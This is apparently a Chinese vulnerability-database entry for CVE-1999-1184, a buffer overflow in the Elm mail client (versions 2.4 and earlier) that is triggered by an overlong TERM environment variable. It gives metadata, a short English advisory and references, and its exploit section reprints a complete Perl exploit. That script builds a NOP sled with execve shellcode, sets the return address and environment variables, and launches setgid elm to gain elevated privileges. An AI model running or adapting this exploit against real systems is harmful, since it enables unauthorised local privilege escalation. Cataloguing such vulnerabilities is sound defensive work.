Elm缓冲区溢出漏洞

Elm缓冲区溢出漏洞

漏洞ID 1105298 漏洞类型 缓冲区溢出
发布时间 1997-05-13 更新时间 1997-05-13
图片[1]-Elm缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-1184
图片[2]-Elm缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199705-012
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/22836
https://www.securityfocus.com/bid/83053
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199705-012
|漏洞详情
Elm2.4及早期版本存在缓冲区溢出漏洞。本地用户可以通过一个超长的环境变量获得权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/8030/info

A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.

As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.

# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1      ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin' 

$len = 512;
$ret = 0xbfbffd68;
$nop = "x90";
$offset = 0;
$shellcode = 	"x31xc0x50x50xb0x17xcdx80x31xc0x50x68".
		"x2fx2fx73x68x68x2fx62x69x6ex89xe3x50".
		"x54x53x50xb0x3bxcdx80x31xc0xb0x01xcdx80";
              
if (@ARGV == 1) {
    $offset = $ARGV[0];
}
  
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer; 
local($ENV{'TERM'}) = $new_ret x 12; 
exec("elm");
|受影响的产品
Elm Development Group ELM 2.4

Elm Development Group ELM 2.3

|参考资料

来源:BUGTRAQ
名称:19970514Re:ELMoverflow
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=87602167420970&w=2
来源:BUGTRAQ
名称:19970513
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=87602167420967&w=2

相关推荐: HP-UX vhe_u_mnt创建根文件漏洞

HP-UX vhe_u_mnt创建根文件漏洞 漏洞ID 1207672 漏洞类型 未知 发布时间 1995-12-01 更新时间 1995-12-01 CVE编号 CVE-1999-0325 CNNVD-ID CNNVD-199512-002 漏洞平台 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享